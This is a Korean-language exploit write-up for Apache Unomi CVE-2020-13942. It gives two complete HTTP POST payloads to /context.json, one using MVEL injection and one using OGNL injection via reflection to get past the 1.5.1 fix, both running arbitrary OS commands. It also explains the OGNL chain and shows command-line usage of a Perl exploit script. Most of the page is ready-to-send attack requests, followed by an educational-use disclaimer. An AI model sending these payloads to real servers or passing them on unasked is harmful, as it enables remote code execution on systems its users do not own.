
Apache Unomi CVE-2020-13942: RCE 취약점
취약점에 대한 원본 블로그 게시글: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
두 개의 RCE 벡터가 있습니다: MVEL 인젝션을 통한 것과 OGNL 인젝션을 통한 것. 두 벡터 모두 페이로드가 비교적 유사해 보이지만 서로 다른 코드를 대상으로 합니다. 이전 CVE 수정 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 은 OGNL 표현식 실행을 제한하려 했지만 MVEL은 완전히 놓쳤습니다. CVE-2020-13942는 1.5.1 버전에서 이루어진 수정을 우회합니다.
BurpSuite 또는 curl을 사용하여 Unomi 서버에 노출된 context.js/json에 다음 HTTP 요청을 보내 RCE를 실행하십시오. 대상 URL과 OS 명령에 따라 Host와 Content-length를 변경하십시오.
두 POC 모두 응답으로 HTTP/1.1 400 Header Folding을 받을 수 있으며, 이는 페이로드에 \r\n이 잘못되어 있음을 의미합니다. 다시 한 번 복사하여 붙여넣어 보십시오.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
OGNL POC는 1.5.1 버전에서 도입된 ClassLoader 제한을 우회했습니다. Java 리플렉션 API를 사용하면 평가된 OGNL 표현식을 제한하는 ClassLoader.loadClass 메서드를 트리거하지 않고 객체를 생성할 수 있습니다.
페이로드 OGNL 표현식 분석:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")는 java.lang.Runtime Class 객체를 생성합니다. 여기서 #this는 컨텍스트 객체에 대한 참조입니다.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]는 리플렉션을 통해 Runtime 클래스의 메서드 목록을 가져와 그 중에서 getRuntime 메서드를 선택합니다. 표현식의 {^ #this.name.equals(\"getRuntime\")} 부분은 getRuntime이라는 이름의 Method를 찾아 조건에 맞는 Method 목록을 반환합니다. 이 목록의 첫 번째이자 유일한 Method는 getRuntime입니다.#runtimeobject = #runtimemethod.invoke(null,null)는 getRuntime() 메서드를 호출하여 Runtime 객체를 얻습니다.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0])는 Runtime 클래스의 메서드를 가져와 단일 String 인수를 가진 Runtime.exec()를 메서드 목록에서 검색합니다.#execmethod.invoke(#runtimeobject,\"gnome-calculator\")는 지정된 인수로 Runtime.exec()를 호출합니다.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
기본 사용법:
./apache_unomi.pl [옵션]
옵션:
./apache_unomi.pl [대상:포트] [명령] [(방법 1) - mvel| (방법 2) - ognl]
[+]사용법:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
이 페이지에 제공된 모든 정보는 교육 목적으로만 제공됩니다. 이 웹사이트의 정보는 컴퓨터 시스템의 보안을 강화하기 위해서만 사용되어야 하며, 악의적이거나 파괴적인 공격을 위해 사용해서는 안 됩니다.
이 정보를 오용하여 컴퓨터 시스템에 무단 접근해서는 안 됩니다. 또한, 소유자의 서면 허가 없이 소유하지 않은 컴퓨터에 해킹 시도를 하는 것은 불법입니다.
이 웹사이트에 제공된 정보의 사용으로 인해 발생하는 직간접적인 손해에 대해 저는 책임을 지지 않습니다.